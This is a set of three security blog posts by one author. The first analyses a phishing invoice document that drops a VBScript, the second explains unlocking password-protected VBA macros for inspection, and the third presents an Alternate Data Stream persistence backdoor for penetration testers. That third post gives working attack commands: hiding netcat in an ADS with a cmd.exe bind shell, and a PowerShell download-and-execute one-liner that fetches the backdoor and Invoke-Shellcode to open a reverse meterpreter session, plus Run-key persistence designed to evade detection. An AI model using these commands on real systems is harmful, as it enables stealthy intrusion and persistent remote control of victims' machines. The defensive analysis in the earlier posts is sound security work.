Today, something interesting came across my desk. A user forwarded me an email that claimed to be an invoice and attached to it was a word document. At first, I was excited to take a look at another malicious office macro. When I opened the document, I was kind of let down. All I saw was an embedded Excel file:

 

Looking at the properties of that file, I quickly noticed that it wasn’t an excel file at all. When you double click on that file, you will notice that a VBScript file gets dropped into AppData\Local\Temp.

 

When I opened the VBScript file, this is what I saw:

I should note that I do not do malware analysis nor do I work in a full fledged security job. I just work the helpdesk. Since I have other stuff to do, I took a shortcut when analyzing this code. The part I was interested in is the “CreateObject” portion at the top. I set the first portion of that line to a variable and echoed it back:

Here is the result:

I did the same for the “run” portion of the “CreateObject” line:

And the result:

 

It appears that the attackers are disguising VBScript files as Excel files. When you double-click on the embedded file, it saves the VBScript file to %Temp% and runs. It then uses the well-known Powershell Cradle to fetch the payloads.

 

Just another interesting way attackers are combining and using Microsoft Office, VBScript and Powershell as an infection vector.

The SHA256 of the initial document is here: 9e73ab4798b8fb49645e2cbb54d6e85e396ef14feb43b5f53d555e92274e92aa

 

The SHA265 of the VBScript file is here:

b9b4d926ad3396440f775300960396429c102a0aac18da5733b47449ad4bf801

 

-Matt N. (@enigma0x3)

Malicious actors are always looking for a way to deliver their malware to their targets. Recently, they have resorted to distributing malicious Office documents containing VBA macros. This method is often effective because all the user needs to do is click “Enable Macros” displayed in the document and code execution is achieved. They often rely on social engineering in order to persuade the target to run the macro. For example, a recent campaign has revealed that the authors will have the document display “encrypted” text. It will then ask the user to click “Enable Macros” in order to decrypt it. Once the macro is ran, it hides the “encrypted” text and then reveals actual readable text.

You can read more about this here

With the popularity of VBA macros increasing, attackers are now trying to find ways to prevent people from actually seeing what the malicious macro does. The most common method that I have seen is password protecting the project. This definitely keeps people from viewing the code, but with a little hex manipulation, you can remove that password.

I have had a few people ask me how to manually remove the password from a VBA project without using commercial tools. Luckily, you can accomplish the same task by using your favorite hex editor.

Do do so, just open the suspicious Office document in a hex editor. Once open, search for the string “DPB”:

 

 

All you have to do is replace that value with “DPX”. Once changed, save and close it:

When you re-open the document and click on “Visual Basic” in the Developer tab, you will get prompted with two errors shown below. Just click through them.

 

If you don’t have the developer tab, you can add it by going to file->Options->Customize Ribbon and checking the “Developer” checkbox on the right hand side.

Clicking on “Visual Basic” will open the Visual Basic Editor. From here, you can see/edit any new or existing projects. Right click on the malicious project and select “Project Properties”. Once the properties are displayed, select the “Protection” tab and uncheck the “Lock Project for Viewing” checkbox.

Save and close the document. When you re-open, you will be able to view the VBA project by going to the Developer tab and clicking “Visual Basic”. From there, the previously protected VBA project is now open and ready to be analyzed.

 

Thanks,
Matt N. (@enigma0x3)

Back in the days before Windows Vista, Alternate Data Streams used to be an acceptable way for malware authors to hide their malicious code. An Alternate Data Stream can be used to hide the presence of secret or malicious files inside a legitimate file. By putting malware in an ADS, Windows will contain information for the legitimate file as well as the malicious file.

For example:

C:\>type C:\nc.exe > C:\windows\system32\calc.exe:svchost.exe

C:\>start /B C:\windows\system32\calc.exe:svchost.exe -d -L -p 2222 -e cmd.exe

The above commands will hide nc.exe in an Alternate Data Stream for calc.exe called svchost.exe and then start nc.exe from the ADS associated with calc.exe. Microsoft found this as an issue and removed the ability to run anything from ADS starting after Windows XP. In order to run your code that resides in an ADS, you would want to create a symlink using the mklink command. While this works, you have to have administrative rights on the machine in order to create the symlink. We all know users are not supposed to be running as an admin, so I tend to approach attack methods with the assumption that I will land on a box without admin rights.

 

Fortunately, I found a way to inject code into an Alternate Data Stream and execute it as a normal user. You can find the Powershell script here:

https://github.com/enigma0x3/Invoke-AltDSBackdoor/blob/master/Invoke-ADSBackdoor.ps1

 

This persistence method contains two items that almost all Penetration Testers like: The method’s ability to operate as a standard user and the ability to avoid detection. It is also important to know that Alternate Data Streams cannot be viewed unless you specify the /a /r command when doing a directory listing. This is appealing because of the stealth the ADS provides.

Once you have compromised a machine, you can run the above Powershell script. The script takes two parameters: -URL and -Arguments. -URL is the URL to your payload and -Arguments is for storing any parameters your payload requires. When specifying the arguments, you have to quote them. It will look similar to this: -Arguments “BadFunction -Lhost 192.168.1.11 -LPort 3333 -Payload weeeeee”. Note the “BadFunction” portion of the Arguments. If your Powershell script contains a function, you must include it as an argument.

 

Running this script on a compromised machine will look something like this. Depending on your payload, the string complexity will change. Here is an example that executes a payload with the function “hack” with no arguments. The function simply executes calc.exe:

 

And here is an example that executes the function “Invoke-Shellcode” and passes LHost, LPort and Payload to the function:

 

Looking at the command, we wrap the whole Powershell command in double quotes. That means when we get to our arguments, we have to quote them with single quotes:

powershell.exe -exec bypass -c “IEX (New-Object Net.WebClient).DownloadString(‘http://192.168.1.138/Invoke-ADSBackdoor.ps1’); Invoke-ADSBackdoor -URL http://192.168.1.138/Invoke-Shellcode.ps1 -Arguments ‘Invoke-Shellcode -LHost 192.168.1.138 -LPort 666 -Payload windows/meterpreter/reverse_https -Force’”

 

After running the script, it will do the following:

-Encode the Powershell command that will execute your payload

-Create an Alternate Data Stream under the AppData folder and inject the Powershell Payload into it

-Create a VBS wrapper that will parse and execute the contents of the Alternate Data Stream containing the payload

-Create a second Alternate Data Stream under the AppData folder and inject the VBS wrapper into it

-Create a registry entry called “Update” in HKCU:\Software\Microsoft\Windows\CurrentVersion\Run

When the user logs on next, the Registry key will use wscript.exe to execute the Alternate Data Stream for the VBS wrapper. Once executed, the VBS wrapper will parse through and execute the contents of the Alternate Data Stream containing the payload.

After running the script, we can do a simple “dir” to see if we see it.

As you can see, the AppData folder isn’t showing up. This is because it is a hidden system folder. To see it, we can do a “dir /a”

As you can now see, the AppData folder is showing up. From the looks of it, everything is fine. There doesn’t appear to be anything attached to it. To see what Alternate Data Streams exist, we can do a “dir /a /r”

 

Now we see two Alternate Data Streams under the AppData folder. One is called 4jrjuqekkpg.vbs and the other is called jkwsp3nf0ao.txt. These are the Alternate Data Streams that the Powershell persistence script created. It randomly generates a name for each Data Stream and shoves it into AppData. To see a little more about these two hidden streams, we can use streams.exe from SysInternals:

This verifies that there are two Alternate Data Streams associated with the AppData folder. We can dig a little deeper into these streams by using “more”:

Here we see that the Alternate Data Stream 4jrjuqekkpg.vbs  contains some VBScript. This is the wrapper that is simply used to suppress the shell prompt when Powershell and cmd.exe are executed. It then parses the Alternate Data Stream “jkwsp3nf0ao.txt” and executes it. This ensures that the user isn’t alerted to the attack. It is essential to know that 4jrjuqekkpg.vbs and jkwsp3nf0ao.txt are not written to the AppData folder, but instead are written to an Alternate Data Stream for AppData. Now that we know what the VBS wrapper does, let’s take a look at the ADS containing the payload:

As you can see, the payload contains powershell.exe and an encoded string. To get more info on the payload, we can decode the string:

Here we can see that the Alternate Data Stream jkwsp3nf0ao.txt actually contains code that shovels meterpreter back to an IP address on port 666 over HTTPS. The scary part about this is that most people have no idea Alternate Data Streams exist and if they do, they are unaware of how to go about looking for them. These Data Streams also don’t have much of a footprint on the file system.

 

As a recap, here is how this works. Run the Powershell script and specify a payload URL and any Arguments for the payload. The arguments need to be in quotes. The script will encode the Powershell command and inject it into an Alternate Data Stream under C:\Users\{username}\AppData while using a randomly generated file name. It will then inject some VBScript into a 2nd Alternate Data Stream that parses and executes the ADS containing the payload and then suppresses the console on execution. Once both Alternate Data Streams exist, it will then create a registry key that will use wscript.exe to run the Alternate Data Stream containing the VBS wrapper. When the VBS wrapper is executed, it will parse the Alternate Data Stream that contains the payload and execute it.

Remember, this persistence method works for standard user accounts and is fairly difficult to track down if you don’t know what to look for.

 

Have fun!

Matt N. (@enigma0x3)